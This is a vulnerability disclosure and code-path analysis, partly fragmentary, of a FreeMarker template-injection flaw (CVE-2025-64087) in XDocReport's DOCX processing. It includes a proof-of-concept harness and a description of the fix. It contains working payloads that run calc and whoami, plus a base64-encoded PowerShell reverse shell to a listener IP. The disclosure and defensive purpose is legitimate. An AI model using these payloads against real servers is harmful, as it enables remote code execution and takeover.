
CVE-2025-64087 (SSTI)
Visão geral da vulnerabilidade
Server-Side Template Injection (SSTI) é uma vulnerabilidade de segurança web que permite a inserção de código malicioso em templates usados por sistemas de gerenciamento de conteúdo (CMS) e frameworks web, visando realizar ataques remotos, obter informações sensíveis ou realizar atividades de invasão do sistema.
SSTI é uma variante de vulnerabilidades de injeção (como SQL Injection, XSS, etc.), na qual o invasor explora o uso de sistemas de templates para implantar código malicioso remotamente. Quando um ataque SSTI é bem-sucedido, o invasor pode executar seu próprio código no servidor, permitindo realizar ataques remotos, como coletar informações sensíveis, realizar atividades de invasão do sistema e acessar recursos não autorizados.
A vulnerabilidade SSTI geralmente ocorre devido ao uso de sistemas de templates inseguros, ou pela falta de verificação e tratamento dos parâmetros de entrada antes de inseri-los nos templates. Se um ataque SSTI for bem-sucedido, as consequências podem ser graves e causar grandes danos à organização atacada.
Impacto nos negócios
A vulnerabilidade SSTI pode causar várias consequências graves, incluindo:
Execução de código malicioso: O invasor pode usar essa vulnerabilidade para executar código malicioso no servidor, permitindo roubo de dados, realização de ações ilegais no sistema e até mesmo controle total do servidor.
Divulgação de informações sensíveis: O SSTI pode permitir que o invasor leia, modifique ou exclua arquivos no servidor. Se esses arquivos contiverem informações sensíveis, como contas e senhas, o invasor pode facilmente expor essas informações.
Ataques de ameaça ou enganação de usuários: O invasor pode usar SSTI para realizar ataques de ameaça ou enganação de usuários, alterando o conteúdo da página web ou adicionando botões personalizados falsos. Se o usuário clicar nesses botões, o invasor pode roubar informações do usuário ou instalar software malicioso em seu computador.
Uma vulnerabilidade de Injeção de Template do Lado do Servidor (SSTI) foi encontrada no OpenSAGRES XDocReport ao processar modelos DOCX com o mecanismo FreeMarker. Sob certas configurações, modelos criados podem levar à Execução Remota de Código (RCE).
O site de gerenciamento de pessoal permite que os usuários façam upload de arquivos de documento .docx para o sistema. Durante o processamento, a aplicação usa o mecanismo de template FreeMarker (no arquivo FreemarkerTemplateEngine.java) para renderizar o conteúdo ${"freemarker.template.utility.Execute"?new()("whoami")} sem nenhum mecanismo de controle ou filtragem do conteúdo de entrada.
Essa vulnerabilidade permite que um invasor insira expressões maliciosas em arquivos .docx (modelo), levando à Execução Remota de Código (RCE) no servidor e podendo ser explorada para roubar informações ou assumir o controle do sistema.
fr.opensagres.xdocreport.template.freemarker — XDocReport (versões 1.0.0 a 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java não é realizada a verificação do conteúdo do arquivo xdoc de entrada. O conteúdo do modelo é carregado diretamente e passado para process(context, writer, template) para ser processado pelo mecanismo FreeMarker sem nenhum mecanismo de sandboxing ou restrição de diretivas/expressões. Como resultado, um invasor pode fornecer um modelo contendo expressões/comandos FreeMarker maliciosos, levando à execução remota de código (RCE)..docx cujo conteúdo interno é o seguinte payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. Vê que pode executar com sucesso e abrir o aplicativo calc

3. Da mesma forma, para obter informações do usuário em execução no sistema com o payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx processado pelo template engine retornou dados do sistema


6. Elevar o impacto para RCE
- A máquina que escuta é wsl com endereço IP `172.26.208.130`

- explorar com o payload a seguir:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx pelo xdocreport para processamentoxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java adicione os seguintes conteúdosMinha correção ainda permite renderizar objetos e propriedades normalmente como ${cuong.name} e apenas bloqueia funções built-in PERIGOSAS
${'freemarker.template.utility.Execute'?new()('calc')} - BLOQUEADO por ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - BLOQUEADO por setAPIBuiltinEnabled(false)?new() e ?api são bloqueadosCaminho: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
Alterações:
✅ Import adicionado: java.util.regex.Pattern
✅ Método validateTemplateSecurity(Reader reader) adicionado — Valida padrões perigosos
✅ processNoCache() atualizado — Adicionada validação antes de criar o Template
✅ process(String templateName, …) atualizado — Adicionada validação a este método
Caminho: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
Alterações:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, etc.| Arquivo | Tipo de Alteração | Propósito |
|---|---|---|
| FreemarkerTemplateEngine.java | Modificado | Proteção SSTI adicionada |
| FreemarkerTemplateEngineSecurityTestCase.java | Novo Arquivo | Testa lógica de validação |
Na versão 2.2.0, o mecanismo de proteção foi ativado e o SSTI foi bloqueado com sucesso
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- Bibliotecas a importar```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A Pontos de início (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ a source é este arquivo DOCX — se o arquivo for enviado/escrito pelo usuário, o conteúdo do template interno (sintaxe FreeMarker) são dados não confiáveis.```
InputStream input = new FileInputStream(docxTemplate);
→ ler o conteúdo do arquivo para encaminhar ao XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) irá analisar (parse) o arquivo DOCX, encontrar a entrada/template no DOCX e criar um IXDocReport (internamente, ele inicializará o objeto Template do FreeMarker ou manterá um reader para o template).
- O conteúdo do template no arquivo DOCX agora está no objeto report (ainda não foi executado).


zipInputStream.getNextEntry() itera sobre cada entrada (cada arquivo) dentro do ZIP (.docx).
archive = new XDocArchive(...) — se ainda não houver archive, inicializa um objeto para organizar/registrar as entradas do documento.

Resumindo: esta parte descompacta o conteúdo do DOCX em uma estrutura interna (XDocArchive) para que partes posteriores possam acessar os arquivos filhos (document.xml,...)```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
Resumindo, não há mecanismo de verificação de SSTI em IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); mas apenas carrega os arquivos xml no docx e retorna IXDocReport report pronto para ser processado (por exemplo, renderizar, mesclar dados…).
em report.process(context, out);
Aprofundando dentro desta função, ela chama preprocess(...) que analisa o XML lendo cada entrada XML, depois analisa o conteúdo XML e cria um BufferedDocument e escreve para o Writer (este é o XML pré-processado).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

em seguida, ele entra em `processNoCache()` e chama `getReader()`


A função `getReader()` é usada para adicionar uma diretiva de escape em torno de todo o template, a fim de garantir que o conteúdo seja processado com segurança (escape HTML, evitar injeção).

Template original:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
Após getReader() processar:```xml [#-- Hello ${name}! [/#escape][#--]]>--]
isso ajuda o motor Freemarker a ler com mais segurança:
- Proteção XML: Escape de caracteres especiais no XML
- Manuseio seguro: Evitar erros quando o Freemarker analisa o template
em seguida chama `FMParser` para analisar a sintaxe do Freemarker

por fim, em `process()` chama `environment.process();` e reader de dados```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 Đây là bước quan trọng nhất — phần render thực sự xảy ra.
getTemplate() trả về template đã parse (AST).
getRootTreeNode() là nút gốc của cây cú pháp được FMParser tạo ra lúc parse.
visit() là API lõi của FreeMarker, dùng để duyệt và render từng phần tử của template, và được định nghĩa trong freemarker.core.Environment
Gặp TextBlock → ghi text ra out.
Gặp Interpolation (ví dụ ${user.name}) → tra trong dataModel, lấy giá trị, ghi ra out.
Gặp #if, #list, #include, macro → xử lý logic tương ứng```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



ele dispara em entryName `word/document.xml`

em seguida, pula para a função `accept()`
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









O fluxo de execução na função `visit()` é o seguinte```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **Resumo dos pontos-chave exploráveis**
| Etapa | Classe | Função | Relacionado a SSTI |
| ----------------------- | -------------------- | -------------------- | -------------------------- |
| `loadReport()` | `XDocReportRegistry` | Carregar template | Sem controle de entrada |
| `getReader()` | `TemplateEngine` | Ler dados do template| Pode conter payload |
| `FMParser` | `freemarker.core` | Analisar conteúdo | Variáveis `${}` são analisadas |
| `Environment.process()` | `freemarker.core` | Renderizar template | Chamar `visit()` para cada nó |
| `visit()` / `eval()` | `freemarker.core` | Executar expressão | **Ponto SSTI / RCE** |
---
## Documentação
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link
| Passo | Ação | Objetivo |
|---|
| 1 | Ler arquivo DOCX | Obter estrutura do relatório original |
| 2 | Criar IXDocReport | Representar o template |
| 3 | Atribuir ID | Gerenciamento único |
| 4 | Selecionar mecanismo de template | Para processar expressões (Freemarker/Velocity) |
| 5 | Cache se necessário | Otimizar desempenho |
| 6 | Retornar relatório | Usado para renderizar arquivo de resultado |